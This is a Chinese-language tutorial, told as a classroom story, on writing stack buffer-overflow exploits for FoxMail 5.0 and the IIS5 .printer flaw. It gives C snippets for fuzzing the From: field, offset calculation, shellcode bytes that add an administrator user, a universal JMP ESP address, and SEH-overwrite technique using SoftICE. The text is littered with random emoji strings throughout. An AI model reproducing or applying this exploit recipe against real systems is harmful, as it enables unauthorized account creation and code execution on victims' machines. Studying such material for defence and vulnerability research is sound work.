首次实战——FoxMail 溢出漏洞编写 |
“早晨起床,铃儿响啊,叮叮当当上学堂”。老师一边哼着歌,一边迈进教室。
“哇! ”老师大叫一声。原来看见更多的同学坐得整整齐齐,老师吓了一跳,“我还以为走错了教室呢! ” 大家都笑了。宇强看见PLMM这次穿了件淡黄的外套,坐在他左边的第四个位子。🧓🎩🪓😈👊 “老师,上次讲了缓冲区溢出后,大家下来都对其产生了浓厚的兴趣,也希望能继续学习实际缓冲区溢出 漏洞的编写。”古风认真的说道。 “哦,是这样啊,没问题,真正的黑客精神就是交流和共享!有更多的人参与,就会激发出更多的思想, 大家也就会一起进步。” 🧓💊💀🤞 “有一点我要再三强调,就是有什么技术发现,一定要公布出来,别人可以在此基础上有更好的发现,自 己也可获得很大的收益;而如果只是自己用,技术本身会很快过时。大家记住了吗?” “记住了! ”教室里齐声答道。 “好,从现在起,我们就进入真正的Windows平台下缓冲区溢出漏洞的编写! “好哦! ”一阵欢呼! 👍🚤🆚🐙 “我们从易至难进行,首次实战对象就是FoxMail的漏洞! ”老师说道。 小知识:{:4_103:} FoxMail是国内著名的Internet电子邮件客户端软件。可以到其主页 获得最新的信息。 👂⛪🥭🆘🦜 “哇!第一个就选这么难的啊?我们能行嘛? ”一些同学说道。 “呵呵,其实有了上堂课的知识,要利用该漏洞实在是小菜一碟。”老师轻松的说道。 “哦!是不是哦……”大家都有些担心。 “绝对没问题! Follow me!首先让我们看看漏洞公告吧!” 漏洞公告的分析 🤙🍌💲🐯 “大家拿到任何一篇漏洞公告后,首先要注意是什么程序、它的什么版本有漏洞。这里有问题的的版本是FoxMail5.0 beta1、FoxMail5.0 beta2和FoxMail5.0,那我们就安装上相应的版本,写 出对它的溢出攻击程序。这里我用的是Win2000 SP2+FoxMail5.0 beta1。” “漏洞公告还会给出大概的问题分析。这里说到了,有问题的东东是punylib.dll。安装了 FoxMail 后,我们可以在安装目录的3rdParty子目录下发现它,大家看! ”如下图。 👁🎢🥭☯🦦 ![]() “除此之外,漏洞公告一般还会给出漏洞的解决办法或补丁下载,这里我们就不关心了,但在平时生活中, 大家一定要重视,这可是安全的保证哦!” 🥷🥼🗝🤡🤳 “当然,漏洞公告是不会给我们说如何利用漏洞的。所以除了查看漏洞公告,我们还要查找其他人或安全组织的相关漏洞分析报告。比如root关于FoxMail漏洞的分析,如下图。” ![]() “好了,从漏洞公告和分析中,我们可以知道,是FoxMail在处理From:字段时允许的长度超过了缓冲区分配的长度,从而导致了缓冲区溢出。以上的大家都能理解吧? ”老师问道。 👨🚒💎⚔🤑🤌 “嗯。但如何写该缓冲区溢出漏洞的利用程序呢? ”胖胖的玉波急不可耐了。 “好,就让我们依次解决上节课上说的三个条件,来实现对FoxMail漏洞的利用编写。首先复习一下要成功利用缓冲区溢出需要的三个条件: 1.有问题程序返回点的精确位置一一我们可以把它覆盖成任意地址。 👆🏦🍽☪🐙 2.ShellCode——一个提供给我们想要的功能的代码。 3.JMP ESP的地址——把返回点覆盖JMP ESP的地址,这样可跳入ShellCode。” “这三点大家一定要牢牢记在头脑里,这是标准缓冲区堆栈溢出利用的标准方法!” 👳🛍📷😡🤝 同学们都使劲的点点头。 “来,就让我们一步步的解决需要的这三个条件吧!” 美妙定位溢出点 👃⛵🥭🚷🦟 “第一个条件是最主要的:‘有问题程序’返回点的精确位置。从漏洞公告和漏洞分析中我们可以知道, 邮件的‘From:’字段太长就会覆盖到返回地址,那我们就写一个初步的溢出程序框架FoxMaill.c,来逐 步定位返回点的位置。这个程序很简单,就是往邮箱发一封信,而且只有‘From:’字段。不要小看这个框架哦,虽然简陋,但我们会在此基础上打造出最终的梦幻版本。” “在程序的FoxMaill.c中,我们对‘From:’字段进行填充。因为不能超过0x200的长度,所以我们先填 充0x150个A试试。” 👴💄🧲😡👍 [mw_shl_code=c,true]memset (buffer, 0x41, 0x150); sprintf (temp, "From: %s\r\n", buffer); send (sock, temp, strlen (temp), 0);[/mw_shl_code] 然后执行程序,发送成功!如下图 ”🧑💻🕶🧪😊💪 ![]() “然后我们用FoxMail接收邮件,大家看下面的图片:“ 👩✈️🥼💾😋👈 ![]() “噢!接收的时候出错了! ‘41414141’就是我们添加的A啊!” “找到喽! ”教室里一片欢腾。 🦺🪗😡🤛 “等一下!”老师把手一挥,“我把它们列出来,让大家仔细看看,和上节课的报错信息对比一下。 上节课的报错信息如图” ![]() 🧑🍳🧥🔑😇👀 FoxMail的报错信息如图。 ![]() “发现有什么不同了吗? ”老师问道。 ✋🗺🥚➡🐥 “一个有两个按钮,一个只有一个按钮……”“倒~~~ ”老师当即晕倒。 费了好大劲站起来后,老师说:“对,这的确是个不同的地方,这是由于程序错误的处理机制不同而造成 的。但这不是重要的地方,大家再仔细看看里面提示的信息有什么不同。”👩🧦🔭😷🤝 小知识:不同出错处理的外在表现{:4_103:} 1. 弹出“只有一个确定按钮的红叉框”,意味着外层有“__try/__except”块决定处理异常,而内层有 “__try/_finally”块。当按下确定后,是在“__try/__finally”中执行。 🤟🌕🍒🚭🐉 2.弹出“有调试、关闭按钮的非红叉框”,意味着设置了 “Just-In-Time Debugging”,并获得机会执行,这已经是最后机会了。3. 弹出“只有一个关闭按钮的非红叉框”,意味着没有设置“Just-In-Time Debugging”,内层也没有决定处理异常的“__try/__except”块。 4. 触发异常,但什么框也未弹出,意味着内层有“__try/__except”块决定处理异常。或者在异常处理过程中再次触发异常。 👂⛴🍪🈚 宇强仔细看后,说道:“那…是不是前一个提示的是内存不能read (读)而出错;而后一个提示的是内存不能write (写)而出错?” “对!就是这里啦!”老师高兴的说。“是这样的,我们覆盖了 0x150个A,可能不仅覆盖过了 EIP的地 方,而且还覆盖了其他一些程序要用的参量,如果在程序返回前,要对那些参量改写,但参量的地址被改 成‘41414141’,是根本不能写的,所以就造成了写(write)类型错误!” 👴💍🧹💅 “哦,原来是这样,那怎么办呢?”宇强发现那位PLMM在自己发言时朝这边看了一眼,心中紧了一下, 多么美丽的眼眸啊! 老师可不会注意这些,回答道:“我们把‘From:’字段覆盖短一点,要覆盖到返回地址,但不要覆盖到那 些参量地址。这里我们采用二分法:即先前0x150太长,就改成0x75,如果0x75太短,不能覆盖返回地址没有报错,那又改长一点,改成0x115的长度,以此类推。” 老师接着说:“当我们覆盖到0x104时,我们想要的结果出现了!如下图。“ 💪🚈🥚♂🦕 [mw_shl_code=c,true]memset (buffer, 0x41, 0x104); sprintf (temp, "From: %s\r\n", buffer); send (sock, temp, strlen (temp), 0);[/mw_shl_code] 🧑🚀🎩📟😡🖕 ![]() “哦!和原来那个是一样的错误,都是Read错误! ”同学们叫了起来。 老师笑道:“哈哈,对!说明我们填充‘From:’字段时不能超过0x104的长度。解决了这个问题,我们继续,想办法定位返回点的位置。” 👮♂️🎒📀😭🤟 “大家想想,上节课的返回点我们是怎么确定的呢? ”老师提示大家。 “嗯……是根据报错信息直接数出来的。”古风说道。 “对,这里我们也仿照那样,但这里的缓冲区太长了,我们把数的方法改进一下。”老师大笔一挥。 🖕🚤🍏®🐙 “我们改变FoxMaill.c,把‘From:’字段的填充方法改一下。改变的程序为FoxMail2.c “我们把FoxMaill.c充‘From:’字段的那段替换为如下。”[mw_shl_code=c,true]for(i=0; i<=0x104; i++) buffer = 'A' + i % 10; sprintf (temp, "From: %s\r\n", buffer); 👀🔥🍼🈴🦌send (sock, temp, strlen (temp), 0);[/mw_shl_code] “我们进入邮箱,把原来的信删除;再执行FoxMail2.c,给邮箱发封新信。这次用FoxMail接收时出现的 报错框成了 ‘Access violation at address 4A494847,Read of address 4A494847’,如下图所示。” ![]() “OK,我们记录下这个数字,看来这次是0x4A494847覆盖了返回点。再在FoxMail13.c中把buffer= ’A’ + i % 10的取余数改为整除。” [mw_shl_code=c,true]for(i=0; i<=0x104; i++) buffer= 'A'+ i / 10; 👂🎢🍼🈸🐋 sprintf (temp, "From: %s\r\n", buffer);[/mw_shl_code] “再次删除信件,执行FoxMail3.c。用FoxMail接收,这次出现的错误框成了 ‘Access violation at address 5A5A5A5A,Read of address 5A5A5A5A’,如下图。” 👩🩳📀😅🤙 ![]() “从上面的两个提示中,我们就可得到精确的返回地址位置了! ”老师得意的说。 大家都丈二和尚摸不着头脑:“怎么得到呢?” 👨⚕️🧥🪝🤑👃 “不要急,我们一起来推算一下。分析一下上面两次我们做的事情。” “第一次用FoxMail2.c,是在‘From:’字段不停的加上A~J的循环(就是十六进制0x41~0x4A这十个数 的循环)。” “第二次用FoxMail3.c,是以10为一段长度,每段分别为0x41、0x42……来填充‘From:’。”👮♂️🧥📠😰✍ “注意了,第一次溢出时报错的最小值是0x47,此时只有0x41~0x4A在不断循环,所以我们可大胆推出尾 数是 0x47 — 0x41 = 6。” “在第二次溢出时报错的全部是0x5A,而此时是从0x41开始,每10个数为一段。所以0x5A—0x41 = 0x19, 就是十进制的25,即在字符串的第25个段。” 🏠🌶🦮 “所以我们可大胆计算出程序的返回点位置是:(0x5A—0x41) X 10+ (0x47 —0x41) =25X 10 + 6 = 256 ” “哇!这样啊! ”大家一片欢呼! “哈哈,我们验证一下猜测结果吧!再改一下程序,指定‘From:’字段第256开始的四个字节是‘BBBB’, 而其他全部为'A'。” 👨🚒👚🪗😶🤝 [mw_shl_code=c,true]memset(buffer, 'A', 0x104); buffer[256] = 'B'; buffer[257] = 'B'; buffer[258] = 'B'; buffer[259] = 'B';[/mw_shl_code] 🤳🛑🥩✡🪰 “代码如上修改后,如果猜测正确,大家想想,会是什么样呢? ”老师问道。 “嗯,应该是‘BBBB’覆盖到了返回地址吧!” 👦👔📬😡🧠 “我们一起试试吧!执行这个程序(FoxMail4.c),果然弹出的对话框成了 ‘Access violation at address 42424242,Read of address 42424242’,如下图。” ![]() “42就是‘B’的ASCII码表示!👨🚒🦺🔑😚🤝 “哇! So Cool! ”堂下响起了一片掌声! “谢谢,谢谢大家的鼓励,我能取得现在这个成绩,是离不开大家的支持,谢谢你们,我爱你们!” 👨🚒👒🧬😍🤌 台下无语※※ ..... ¥{:4_107:} “呵呵,上面溢出点定位的方法非常巧妙和准确,以后大家在标准的堆栈溢出中,可经常使用这种方法来进行定位。”老师强调到。 “太好了,真是个好方法啊!这样别人给出漏洞证实程序,我们可以很快定位了!”教室里顿时议论纷纷。 “嗯,0K,回到我们这个程序的利用上来吧!”👦👞🧬👍 ShellCode 的使用 “让我们再看看第二个条件一一ShellCode。ShellCode很重要,但这里我不详细介绍,ShellCode的编写很有考究的,会涉及到各方面。应用不同,要求不同,编写也不同。如果同学们有兴趣,我会抽个时间讲 ‘ShellCode’ 的编写。”👩👖📟🤬🤳 “有有有,当然有兴趣啦! ”听老师一说,大家都争先恐后的表示想听。 “呵呵,那好吧,我们在以后的课程中涉及。这次我就直接给出在中文Win2000SP2下添加名为‘w’用户 的ShellCode。以后大家会写ShellCode时,直接替换掉就可以了。〃 🧑💻🦺🧬💩👀 [mw_shl_code=c,true]char ShellCode[] = "\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC7\x45\xF1\x6E\x65" "\x74\x20\xC7\x45\xF5\x75\x73\x65\x72\xC7\x45\xF9\x20\x77\x20\x2E" "\x80\x45\xFC\x01\xC6\x45\xFD\x61\xC6\x45\xFE\x64\x33\xC0\x88\x45" "\xFF\x8D\x45\xF1\x50\xB8\x4A\x9B\x01\x78\xFF\xD0" ;[/mw_shl_code]🧑💻🧥😃🙏 通用的JMP ESP地址 “最后是第三个条件一一 JMP ESP地址。这个上次给大家讲了,并给出了中文Win2000各版本相应的地址, 大家直接使用即可。但各个版本不统一,使用起来相当麻烦。这里,我再给大家一个大餐一一中文版 Win2000、XP、Win2003的JMP ESP通用跳转地址(lion给出的0x7ffa4512)。经我测试,绝对可用,童叟无欺!是编写溢出利用程序的必备良药!让我们一起感谢lion的无私共享精神吧!这才是真正的Hacker 精神,大家一定要发扬啊!” ✍🎠🍪🆗🐮 大家听后拼命的点头:“好也!” “好吧,这下我们的三个条件都有了,我们来完成统一吧!” “初步分析后,我们知道‘From:’字段作如下构造就可跳入我们的ShellCode。如果还有不清楚的同学, 请再复习一下上节课的内容。如下图。”🩳🦯💀👂 ![]() “对!就这样喽!” “但是,大家别忘啦! ”老师突然一喝! “这样和最开始我们覆盖0x150个‘A’测试时是类似的,ShellCode 会把程序要写的参量覆盖了,那程序在返回之前,会产生那个write型错误!” 👩✈️🧢💾🙄👃 “哇,是啊,这可怎么办啊? ”那位PLMM紧张的说,瞬间她成为了整个教室的焦点,大家都屏住了呼吸, 一是想仔细听听这清脆的声音,二是等待着老师的回答。 “在这种情况下,一般有三种解决方法”,老师耐心的解释道。“第一种,注意覆盖参量为可写的地址, 即保证参量是可写的,不让它出现write错误,但这种方法很麻烦,需要知道不能写的参量的所有位置; 第二种,覆盖异常,这种方法会在后面讲到;第三种,就是这里我们使用的,把ShellCode放在前面!根本不覆盖参量。” 👨🎨👞🗝😷👍 “哦?把ShellCode放在前面是什么意思?”宇强见PLMM不太懂,也忙着问老师。 “就是说,我们把ShellCode放在RET前的缓冲区中,而在RET后面放入很短的一个指令,指令的内容就 是往前跳,跳到前面的ShellCode中。” “形象的说,就是这样的格式,根本不去覆盖不能改变的参量,如下图。” 🤙💈🍇🆒🦄 ![]() “在这样的格式下,返回时程序就会先执行JMP -0x80这个指令,往前跳到一堆空指令中,然后顺着空指令往下执行,最后进入到ShellCode中,就可执行我们的ShellCode 了。” “哦!这样啊!太有创意了!”大家感叹道。👩🛍🎺🤖🤞 “这是很基本的方法,更多精彩还在后面呢!”老师回答说,“好,这里不罗嗦了,让我们按照这个格式, 给漏洞以最后一击,写出最终的利用程序——Exploit! ” “我们先把邮箱清空,编译FoxMail5.c并执行,再用FoxMail接收邮件。只要一接收,就会在本机上添加 一个名为‘w’的管理员用户了,大家看下图” ![]() “耶!太帅了! “大家也注意到了吧,通过我们的实际编写,发现只要用户用FoxMail —收邮件,就会马上触发。而不是像有些厂商传闻的那样只在用户回复该邮件时才被触发。所以国内外软件开发公司对待漏洞发现者的态度、 漏洞本身的态度、对产品使用用户公布漏洞信息的态度……”老师逐渐沉默了。 💪🏠🎂❌🦄 “是啊,厂商还居然说是漏洞发现者的炒作,这简直太不负责任了!明明有问题,还不敢承认。”同学们 一个个义愤填膺! “算了,我们这里只讨论技术,其他方面就不多评论了。”老师又恢复了原来的生气,“这里再和大家一 起总结下对FoxMail的利用过程吧!” 👳🧦⚔😂👄 “第一步、精确定位返回点。我们用求余取整法可巧妙得到返回位置。” “第二步、ShellCode编写。我们直接用别人写好的ShellCode。” “第三步、JMP ESP的地址。我们使用Lion共享的中文通用地址一一0x7ffa4512。” “最后把它们合起来,由于返回点后面不远处不能覆盖,所以我们把组合位置作稍稍改变,把ShellCode 放前面,RET后面放一个往前跳的指令,用这样的方式跳到我们的ShellCode中。” ✋🥑♀🐒 “ShellCode的功能是添加用户。好了,这样就完成了我们首个缓冲区漏洞的利用编写了,是真实的漏洞 哦!感觉怎么样啊?” “太有成就感了!”同学们嚷道。 “呵呵,那就好,兴趣就是这样培养起来的,有了兴趣就会更有动力钻研下去,钻研也是真正的黑客精神 的一部分。大家休息一下,然后我们再继续。”👮♂️👖🛒💀🤝 {:7_186:} 牛刀小试——Printer溢出漏洞编写 🙏🚤🍖🅿🕊 课间十分钟,大家和老师随便的聊了起来。 “哇!我们这里有几位女黑客啊!难得啊! ”老师说。 全班同学都笑了起来。 👍🔥🍇🉑🦉 “几位女黑客介绍一下自己啊!让大家认识一下。”老师边喝水边说。 “嗯,我叫小亮。” “我叫小红。”几位女生依次介绍自己。 宇强仔细的听着,到那位PLMM时更是聚精会神。 🤝⛄🍽🆚🐠 “我叫吴小倩。” PLMM清晰的说道。“多好听的声音啊!宇强暗暗想到,“而且,小倩…嗯?《倩女幽魂》中王祖贤扮演的就是小倩嘛! 宇强想起了《倩女幽魂》中的诗一一 “十里平湖霜满天,寸寸青丝愁华年。对月影单望相护,只羡鸳鸯不羡仙。” 👮♂️💍💾😳👈 “什么啊,《倩女幽魂》讲的是鬼魂啊,自己想到哪儿去了。”宇强暗暗骂了自己一句。 老师在台上继续说:“几位女同学要努力啊!以后成为像wolf—样的中国女黑客啊!” 大家都笑了起来,几位女同学也抿着嘴乐了。 ✋🌡🍽❎🦦 ................ “好,我们趁热打铁,利用刚才的步骤迅速完成对IIS5.0 Printer漏洞的利用编写吧!” 👨🚒🧥🧲😴✌ 漏洞背景 “IIS的Printer漏洞只对Win2000SP0、SP1版本有效,可以说是个元老级的漏洞了,现在基本上都没有 了,大家用它来练练手吧!” 👩👓🛒🙄👎 小知识:IIS (Internet Infomation Server) : Internet信息服务。它是一种Web服务,主要包括WWW服务器、FTP服务器等。它使得在Intranet (局域网)或Internet (因特网)上发布信息很容易。 “微软Win2K IIS5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况 下该映射存在。当远程用户提交对.printer的URL请求时,IIS5调用msw3prt.dll解释该请求。由于 msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可提交一个精心构造的针对.printer的URL请求,这 样,就会在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。” 🤟⛪🥄☣🐻 老师简单的介绍了漏洞的背景和原因。构造利用 👨🎨🧣🧯😊💪 “我们看看如何利用它吧!还是三大步骤。” “第一步、确定返回点的位置。这里我们查看相关的漏洞公告和分析公告,可以知道,对http://域填充到268个字节时就可以覆盖到EIP。” “第二步、ShellCode。我们还是使用现成的ShellCode吧!给SP0的机器添加一个用户。” 🤛🎠🍭♊🕊 “第三步、JMP ESP的地址。还用说吗? Lion大虾的地址是通吃的。” “好了,把它们组合起来,格式如下图。” 🙌🚗🍏🆘🦉 ![]() “然后轻松把他们合成程序Printer.c,我们把写好的程序编译、执行!再看远程机器的效果吧!” “Yeah!成功添加了一个用户!” “太好了!”又是一阵欢呼,宇强简直不敢相信,“太容易了吧!”🥷👠🎷🤔👌 “呵呵,讲解这个漏洞一方面是让大家再熟悉一下溢出编写的基本思路,但更关键是,我要通过这个漏洞讲解缓冲区溢出利用的另一种形式一一更常用的形式,大家千万别松气哦!” JMP /CALL EBX——另一种溢出利用方式 🧑🚀💎🦯😘👀 “我们用JMP ESP的方式都成功两次了,为什么还要学其他方式呢? ”玉波摸摸肚子问道,感觉有点饿了。 “因为……Hacker不应该自满,这是其一;第二、有些漏洞用JMP ESP的方式是无法成功的。所以我们必须要学习另外一种溢出利用方式一一JMP /CALL EBX的方式!”老师肯定的回答道。 🧑⚕️👞📀😛👆 “哦!那JMP /CALL EBX方式是不是把返回地址覆盖成JMP /CALL EBX的地址就可以了?”玉波还想早点偷懒去食堂。 “No! JMP /CALL EBX方式不是覆盖返回地址了,而是覆盖异常处理地址!” “哇!”一片惊讶声。“异常处理……好吓人啊……” 🧒👓💿😡👊 “不要怕!我会用很通俗易懂的话来解释它们,要理解清楚还是很容易的! Go” Windows异常处理链表 👏🚐🌰🈚🦖 “大家首先想想,我们在上面的利用方式中,是把返回地址覆盖成另一个地址。但如果是个无效地址呢? 那里指向的数据或许不能读,或许不能执行,那会怎么样呢?” “呜……”大家拼命想啊! 🧓👒🧯😷✍ “大家回想一下,我们在对FoxMail作定位覆盖时用的就是无效地址!” “哦!那就是系统会弹出一个对话框报错,我们点‘确定’就会终止运行! ”宇强叫了起来! “对!这是因为作为一个系统级的程序,内部有健全的出错处理机制。简单的说,如果运行时有错误产生, Windows就会跳到一个专门处理错误的地方,对应不同的错误执行不同的代码。上面执行的代码就是弹出 一个对话框报错。” 🤙🗼🔪🅿🐡 “Windows处理错误的机制如下图。”老师接着说 ![]() 👳👗🦯😚🤞 “当系统遇到一个它不知道如何处理的异常时,比如刚才的代码非法,那它就会查找异常处理链表,找对应的这种异常处理程序;找到了对应的处理程序后,就把保存的处理程序的地址赋给EIP,这样系统就会执行处理程序,以避免系统崩溃。”老师继续解释。“我再告诉大家吧!异常处理链表的最后一个处理程 序就是大家看到的弹出对话框报错,呵呵!” 哦,我们的错误让系统都到了异常处理链表的最后了啊!”台下感叹道。 “对!异常处理也有很深的技术原理,但我们这里不深究了。还是回到我们的目标,想想怎么利用这个 Windows系统的异常处理,执行我们的ShellCode吧! ”老师说道,“大家先开动脑筋,想想办法,不然就我一个人讲,大家得不到锻炼。来,大家说说自己的想法吧!” 👃🏝🥄🆘🐅 炫?——覆盖异常 一时间,教室里议论纷纷。 ✌🪐🍖🅱🐢 “呜……如果执行非法代码,就会报错……” “嗯,这个报错是因为系统顺着异常处理链往下找,直到最后的处理程序,然后把最后的处理程序的地址 给EIP而产生的。” 👨🚒🧢🩺🤩🦷 “哎哟!”古风叫了起来。“这里要改变EIP也,我们把最后的处理程序地址改成我们ShellCode的地址, 不就可以了吗!” “哇!是啊,是啊! ”大家都喧哗了! 👆🌡🧊🔞🐕 “但我们ShellCode的地址是多少呢?”老师突然发问,“第一种方式就是不能确切的知道我们ShellCode 的地址,所以才改用JMP ESP地址覆盖的啊!” “呜,这个这个……就是啊,但这里ESP就不知道指向的是那里了。” “不过很好!”老师还是表扬了一下大家,“大家能想到这一步已经很不错了。另一点是大家不知道的 Windows 2000系统的知识一就是在判断是否使用现在指向的异常处理程序时,EBX会自动变为下一处理点的地址,这样可以把异常处理地址连接起来,形成一个异常处理串”。👳🪖💉😋🤞 “所以在刚进入异常处理判断是否使用处理程序1时,EBX为处理程序2的地址,就像下图—样。大家 可以想象,如果系统判断不使用处理程序1,就从EBX得到处理程序2的地址,并对处理程序2进行判断; 而EBX又自动变为处理程序3的地址。这样就形成一个异常处理串,可以最后寻找到链表结束而不中断。” ![]() 👀🎢🥛↔🐅 “哦,太奇妙了!”大家感叹道。 “呵呵,比尔可不是吃干饭的。”老师笑道,“但这样就给了我们绝佳的机会!” “哦?”大家努力的倾听着。 👂🗽🦞‼🦜 “这里我们故意把返回地址覆盖成一个错误的地址。出错时Windows就会跳到处理错误的入口点,而EBX 就在入口前4个字节的地方!那我们把错误入口处覆盖为JMPEBX的地址,就会跳到前4个字节了。” “跳到前4个字节,那怎么跳到ShellCode呢?在这里我们写入JMP 04,往后跳4个字节,正好跳过覆盖值,达到我们的ShellCode! ” “所以在这里我们毫不客气的把两部分一起覆盖成下图这样,这样就可跳到ShellCode 了,这就是接管异常。听起很有成就感吧!” 👊🚘🥚☯🦦 ![]() “哦!成功解决了! ”同学们嚷道。“我们立刻开始利用吧!” 🙌🌧🍊❗🦋 “好啊,”老师诡异地笑了一下,“你们画出利用的构造格式吧!” 轻松把JMP ESP改写为JMP EBX 🧒💍🖨😫🤛 “嗯,好哩!首先是覆盖一堆无用的值,到了异常处理入口点,先是JMP 04,接着是JMPEBX的地址,最后跟着ShellCode,就像下图—样。”同学们七手八脚的画了下来。 ![]() “哦,思路很对,但这里的‘A’有多少呢? ”老师突然问道。 🙌🌧🍓♑🐡 大家一愣,然后才反应过来:“哎哟,现在还不知道异常处理入口点在哪里呢!” “呵呵,就是啊!你们终于发现了啊!” 👊🏠🍓🅾🐞 台下恳求道:“呜……老师快说说啊!怎么找到异常处理入口距离溢出点的长度啊?”“当然了,如果不解决这个,那这种方法就无法使用。” “先看看牛人们的方法,他们使用的方法都比较直观、清晰,当然技术含量也较高。他们一般是用工具 Attach有问题的服务,然后反汇编、跟踪进去。找到有问题的点,就向上找到该服务的异常处理入口。直接分析出异常处理入口位置距离溢出点的长度。” 💅🧳🥛🅰🐤 “哇!完全不懂,好难啊,老师。” “对,这种方法对菜鸟来说,的确比较困难。无论是跟踪,还是计算长度,都需要比较深厚的经验和技术, 没有什么技巧可言,都是实力的表现。” “是啊!那就没有稍微简单点的方法可以利用了吗,老师?” 👌🍊☯🐙 “No,我亲自试验,发现了个比较简单的方法(相对于直接分析服务),可以轻松知道要填充多少达到异 常处理入口。” “哦?快说说啊! ”同学们都迫不及待了。 “嗯,不急不急,这里,我只简单的介绍这个方法,然后来实际的改写。” 👌🛩🍚✡🦜 小知识: JMP ESP改写成JMP EBX,其思路是:先利用JMP ESP的攻击程序在JMP ESP代码后跟上“\xeb\xfe”,这 句即JMP - 1。实行模拟攻击后,在被攻击机上调出SoftICE,就会发现停在“\xeb\rfe”这句。这时,我 们查看其fs:0000的值,它里面存的就是异常处理的入口地址!这时,我们计算那个值离现在的距离,就 能轻松知道要填充多少才能达到异常处理入口了。 “我们就利用这种方法来定位.Printer漏洞的异常处理地址,并改写刚才我们的.Printer漏洞的攻击程序。”🧑💻🩳🛒🤖👀 用SoftICE寻找异常点位置 最初的利用方式是覆盖函数返回点,其格式如下图。 👍⛪🥚➡🐕 ![]() “现在我们需要知道那个时候异常处理点的位置,然后改变一下利用格式。” “是啊,如何实际定位呢?”同学们心急的说。👵👔🗝🥰🤙 “我们利用SoftICE这个强大的调试器吧! ”老师说道。 小知识:SoftICE 动态分析中最重要的是调试器,分为用户模式和内核模式两种类型。用户模式是指用来调试用户模式的应用程序,它们工作在Ring 3级,如Visual C++等编译器自带的调试器。内核模式调试器指能调试操作系 统内核的调试器,它们处于CPU和操作系统之间,工作在Ring 0级,如SoftICEeSoftICE是Compuwar NuMega 公司的产品,是目前公认的最好的系统级调试工具!兼容性和稳定性极好,可在源代码级调试各种应用程序和设备驱动程序,也可使用RCP/IP连接进行远程调试。 🧑🍳👖💶😪🤳 “哦,SoftICE这么厉害,好用吗? ”玉波担心的问。 “不用怕,虽然它功能强大,而且也运行在核心态,但我们把它看成普通的一个软件,照样用就行了!” “首先安装,现在SoftICE都没有单独推出版本了,都是和NuMega的DriverStudio —起发布的。 DriverStudio中还有其他一些强大工具,可用于驱动程序的开发,以后有机会再说吧!” 🤝⛵🧊🅱🦮 “安装过程和普通软件完全一样。同意协议一输入注册号一选择安装的目录,然后就开始了拷贝文件安装 的过程。如下图。” ![]() 🖐🪐🔪🚭🐮 “中途有一个配置对话框,可以对SoftICE 的一些功能进行配置(如下图)。一般情况下,保持原来的默认选项,狂点‘Next’就可以了。” ![]() 🙏🦼🈴🐟 “要注意的是,在‘Video’选项时,最好点击一下‘Test’按钮,让其测试一下显示驱动是否正确。如果正确,就会弹出测试成功对话框,如下图。” ![]() 👨⚕️🧢⚒😇👈 “安装完毕,重启一次机器后,就会在‘开始’菜单中发现‘Compuware SoftICE Driver Suite’的新装 程序。我们选择SoftICE下的Start SoftICE,一个DOS窗口弹出来闪动了一下,SoftICE就成功运行了, 如下图。”老师不紧不慢的说道。 ![]() 👈🚈🥑🆒🪰 “哦?运行了?怎么什么界面都没看到呢? ”几个女生感到很奇怪。“呵呵,”老师说,“SoftICE运行了是在后台中的,当然看不到了。” “啊?后台?看不见?那看都看不见我们怎么使用它呢? ”古风更奇怪了。 🖕🪐🥑♾🐻 “我们可以通过SoftICE的热键Ctrl+D来呼出它。”老师一按Ctrl+D键,果然弹出了 SoftICE黑黑的窗口。 “SoftICE工作在核心态中,把它呼出后,外面程序的任何响应都被停止了。如果没打补丁,就连Windows 任务栏上的那个时钟也会停止!” 哦! 👂🏦🌰🚷🦕 “我们用SoftICE来定位.printer的异常处理点位置吧! ”老师对台下说道,“不要因为SoftICE的界面而讨厌它,了解它后,大家会很喜欢它的。”“好哩!试试吧! ”大家说道。 “我们首先按Ctrl+D或F5键,或者敲X键并回车,退回到用户态中。然后修改刚才那个利用JMP ESP覆盖的程序。”👳🧢🛒😃🤛 “我们在覆盖RET的0x7FFA4512后面跟上JMP — 1指令,即EB FE,就像下面这样。” [mw_shl_code=c,true]jmpcode[272] = (char)0xeb; jmpcode[273] = (char)0xfe;🧑🎤👠🔑😷🙌 jmpcode[274] = (char)0xeb; jmpcode[275] = (char)0xfe; jmpcode[276] = (char)0xeb; jmpcode[277] = (char)0xfe; jmpcode[278] = (char)0xeb;👵🩲🧹😚🦷 jmpcode[279] = (char)0xfe;[/mw_shl_code] “然后攻击我们这台运行了 SoftICE的模拟机,应该是会攻击成功,并跳入执行我们的代码EBFE! ” “哇!资源管理器利用率变成了 100%了! ”台下叫道! “难道进入了死循环? ”宇强说。 🧑🍳🎒🪜🤐👍 “呵呵,是的,这是因为系统在不断的执行死循环,我们可以在SoftICE中看到。” “按Ctrl+D呼出SoftICE,哈哈!看到系统停在了 00D8F3E0处,对应的指令是JMP 00D 8F3E0,意思就是不断的执行JMP 00D8F3E0。这样,我们就进入了系统内部。” 🥷🥼🧻🤬👎 “为了看到对应的指令,我们输入code on命令,意思是打开对应的机器码。这下可以看到,指令机器码 就是EBFE,而跟在后面的就是我们原来的ShellCode 了!” “SoftIce运行时不好抓图,只好把这时的数据抄下来,像下面这样。” 00D8F3D8 1245 ✋🦼🥚📵🦮 00D8F3DA FA7F00D8F3DC EBFE JMP 00D8F3DC 00D8F3DE EBFE JMP 00D8F3DE “果然是运行了跟在0X7FFA4512后的指令,和前面分析的一样!”玉波点点头。 👨🚒🩲⌨🤑💪 “哎哟!我们覆盖的0x7FFA4512是在00D8F3DA位置啊!如果运行紧跟其后的指令,应该是停在00D8F3DC 中!怎么跳过了 4个字节?停在了 00D8F3E0中呢? ”宇强发现了一点小问题。 “是啊!前面的EB FE难道没起作用? ”大家得到了提醒,仔细的看后都发现了问题,疑惑的看着老师。 👩🩰🛒🤪🧠 “哈哈,很好,大家都很仔细,科学的道路上就是要这种实事求是的认真态度,这样才有可能有所成绩。” 老师说道,“出现这个问题,是因为函数返回时执行的是RET 04。我们说过,函数用RET返回就相当于执 行POP EIP;而这里用RET 04返回,相当于执行POP EIP, ADD ESP,04。这样ESP会再加4,从而变成 00D8F3E0。 ” “哦?什么时候RET,什么时候是RET 04呢? ”大家很感兴趣的说道。 “哈哈,这和函数的调用方式有关。Windows下存在两种调用方式:C式和Pascal式 